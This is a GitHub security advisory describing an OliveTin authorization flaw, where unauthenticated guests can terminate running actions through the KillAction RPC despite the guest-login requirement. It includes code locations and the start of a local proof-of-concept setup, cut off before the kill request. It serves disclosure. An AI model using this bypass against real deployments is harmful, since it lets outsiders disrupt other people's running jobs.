GitHub Security Advisory: GHSA-4fqm-6fmh-82mq
Package: github.com/OliveTin/OliveTin (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-284: Improper Access Control, CWE-862: Missing Authorization, CWE-863: Incorrect Authorization
Vulnerable versions: < 0.0.0[PII_REDACTED]2902-d9804182eae4
Patched in: 0.0.0[PII_REDACTED]2902-d9804182eae4

Summary: OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login

Details:
### Summary

OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.




### Details
The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.

  KillAction() authenticates the caller and applies only the per-action kill ACL check:

  - service/internal/api/api.go:62

  However, it does not enforce the guest login requirement. The guest/login gate exists separately in:

  - service/internal/api/api.go:474

  That gate is used by dashboard-style methods, but not by KillAction.

  In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:

  - service/internal/config/sanitize.go:160

  Specifically:

  - DefaultPermissions.View = false
  - DefaultPermissions.Exec = false
  - DefaultPermissions.Logs = false
  - DefaultPermissions.Kill remains unchanged

  As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():

  - service/internal/acl/acl.go:133

  I validated this behavior on a clean 3000.10.2 setup:

  - guests were denied access to GetDashboard
  - an authenticated admin user started a long-running action
  - an unauthenticated guest successfully called KillAction
  - the action was terminated

  This confirms a real authorization bypass affecting action termination.


### PoC
 Tested version:
```
  3000.10.2
```
  1. Create a minimal config:
```bash
  mkdir -p /tmp/olivetin-kill-bypass
  cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'
  listenAddressSingleHTTPFrontend: 0.0.0.0:1337
  logLevel: "DEBUG"
  checkForUpdates: false

  authRequireGuestsToLogin: true
  authLocalUsers:
    enabled: true
    users:
      - username: "admin"
        usergroup: "admin"
        [CREDENTIAL_REDACTED]=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4"

  accessControlLists:
    - name: adminall
      addToEveryAction: true
      matchUsernames: ["admin"]
      permissions:
        view: true
        exec: true
        logs: true
        kill: true

  actions:
    - title: long-running
      id: long-running
      shell: sleep 20
      timeout: 30
  YAML
```
  2. Start OliveTin 3000.10.2:
```bash
  docker rm -f olivetin-kill-bypass 2>/dev/null || true
  docker run -d --name olivetin-kill-bypass \
    -p 1347:1337 \
    -v /tmp/olivetin-kill-bypass:/config:ro \
    ghcr.io/olivetin/olivetin:3000.10.2
```
  3. Confirm the server is ready:
```bash
  curl -i http://127.0.0.1:1347/readyz
```
  4. Prove guests are blocked from d